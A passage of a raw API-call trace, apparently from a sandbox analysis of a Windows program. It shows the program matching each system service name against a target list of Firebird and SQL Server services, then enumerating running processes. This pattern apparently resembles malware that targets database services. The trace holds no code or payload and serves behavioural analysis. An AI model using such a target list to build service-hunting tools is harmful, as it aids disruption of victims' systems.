(lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0313.510] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0313.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0313.510] lstrlenW (lpString="CryptSvc") returned 8 [0313.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0313.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0313.510] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0313.510] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0313.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0313.510] lstrlenW (lpString="DcomLaunch") returned 10 [0313.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0313.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0313.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0313.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0313.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0313.510] lstrlenW (lpString="DeviceAssociationService") returned 24 [0313.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0313.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0313.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0313.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0313.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0313.510] lstrlenW (lpString="Dhcp") returned 4 [0313.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0313.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0313.511] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0313.511] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0313.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0313.511] lstrlenW (lpString="Dnscache") returned 8 [0313.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0313.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0313.511] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0313.511] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0313.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0313.511] lstrlenW (lpString="DoSvc") returned 5 [0313.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0313.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0313.511] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0313.511] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0313.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0313.511] lstrlenW (lpString="DPS") returned 3 [0313.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0313.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0313.511] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0313.511] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0313.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0313.511] lstrlenW (lpString="DusmSvc") returned 7 [0313.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0313.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0313.511] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0313.511] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0313.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0313.511] lstrlenW (lpString="EventLog") returned 8 [0313.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0313.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0313.512] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0313.512] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0313.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0313.512] lstrlenW (lpString="EventSystem") returned 11 [0313.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0313.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0313.512] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0313.512] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0313.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0313.512] lstrlenW (lpString="FontCache") returned 9 [0313.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0313.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0313.512] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0313.512] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0313.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0313.512] lstrlenW (lpString="gpsvc") returned 5 [0313.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0313.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0313.512] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0313.512] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0313.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0313.512] lstrlenW (lpString="iphlpsvc") returned 8 [0313.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0313.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0313.512] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0313.512] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0313.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0313.512] lstrlenW (lpString="KeyIso") returned 6 [0313.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0313.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0313.513] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0313.513] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0313.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0313.513] lstrlenW (lpString="LanmanServer") returned 12 [0313.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0313.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0313.513] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0313.513] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0313.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0313.513] lstrlenW (lpString="LanmanWorkstation") returned 17 [0313.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0313.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0313.513] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0313.513] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0313.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0313.513] lstrlenW (lpString="lfsvc") returned 5 [0313.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0313.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0313.513] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0313.513] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0313.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0313.513] lstrlenW (lpString="lmhosts") returned 7 [0313.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0313.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0313.513] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0313.513] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0313.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0313.514] lstrlenW (lpString="LSM") returned 3 [0313.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0313.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0313.514] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0313.514] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0313.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0313.514] lstrlenW (lpString="MapsBroker") returned 10 [0313.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0313.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0313.514] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0313.514] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0313.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0313.514] lstrlenW (lpString="MpsSvc") returned 6 [0313.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0313.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0313.514] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0313.514] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0313.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0313.514] lstrlenW (lpString="NcbService") returned 10 [0313.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0313.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0313.514] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0313.514] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0313.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0313.514] lstrlenW (lpString="netprofm") returned 8 [0313.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0313.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0313.514] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0313.514] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0313.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0313.515] lstrlenW (lpString="NgcSvc") returned 6 [0313.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0313.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0313.515] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0313.515] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0313.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0313.515] lstrlenW (lpString="NlaSvc") returned 6 [0313.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0313.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0313.515] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0313.515] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0313.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0313.515] lstrlenW (lpString="nsi") returned 3 [0313.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0313.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0313.515] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0313.515] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0313.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0313.515] lstrlenW (lpString="PcaSvc") returned 6 [0313.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0313.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0313.515] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0313.515] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0313.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0313.515] lstrlenW (lpString="PlugPlay") returned 8 [0313.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0313.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0313.516] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0313.516] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0313.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0313.516] lstrlenW (lpString="Power") returned 5 [0313.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0313.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0313.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0313.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0313.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0313.516] lstrlenW (lpString="ProfSvc") returned 7 [0313.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0313.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0313.516] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0313.516] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0313.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0313.516] lstrlenW (lpString="RpcEptMapper") returned 12 [0313.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0313.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0313.516] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0313.516] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0313.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0313.516] lstrlenW (lpString="RpcSs") returned 5 [0313.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0313.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0313.516] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0313.516] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0313.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0313.516] lstrlenW (lpString="SamSs") returned 5 [0313.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0313.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0313.517] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0313.517] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0313.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0313.517] lstrlenW (lpString="Schedule") returned 8 [0313.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0313.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0313.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0313.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0313.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0313.517] lstrlenW (lpString="SecurityHealthService") returned 21 [0313.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0313.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0313.517] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0313.517] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0313.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0313.517] lstrlenW (lpString="SENS") returned 4 [0313.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0313.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0313.517] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0313.517] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0313.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0313.517] lstrlenW (lpString="ShellHWDetection") returned 16 [0313.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0313.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0313.517] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0313.517] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0313.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0313.518] lstrlenW (lpString="Spooler") returned 7 [0313.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0313.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0313.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0313.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0313.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0313.518] lstrlenW (lpString="SSDPSRV") returned 7 [0313.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0313.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0313.518] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0313.518] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0313.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0313.518] lstrlenW (lpString="StateRepository") returned 15 [0313.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0313.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0313.518] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0313.518] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0313.518] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0313.518] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x528 [0313.523] Process32FirstW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0313.524] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0313.524] lstrlenW (lpString="System") returned 6 [0313.524] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0313.525] lstrlenW (lpString="smss.exe") returned 8 [0313.525] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0313.526] lstrlenW (lpString="csrss.exe") returned 9 [0313.526] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0313.527] lstrlenW (lpString="wininit.exe") returned 11 [0313.527] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0313.528] lstrlenW (lpString="csrss.exe") returned 9 [0313.528] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0313.529] lstrlenW (lpString="winlogon.exe") returned 12 [0313.529] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0313.530] lstrlenW (lpString="services.exe") returned 12 [0313.530] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0313.531] lstrlenW (lpString="lsass.exe") returned 9 [0313.531] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0313.531] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0313.531] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0313.532] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0313.532] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.533] lstrlenW (lpString="svchost.exe") returned 11 [0313.533] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.534] lstrlenW (lpString="svchost.exe") returned 11 [0313.534] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0313.535] lstrlenW (lpString="dwm.exe") returned 7 [0313.535] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.535] lstrlenW (lpString="svchost.exe") returned 11 [0313.535] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.536] lstrlenW (lpString="svchost.exe") returned 11 [0313.536] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.537] lstrlenW (lpString="svchost.exe") returned 11 [0313.537] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.538] lstrlenW (lpString="svchost.exe") returned 11 [0313.538] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.538] lstrlenW (lpString="svchost.exe") returned 11 [0313.539] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.539] lstrlenW 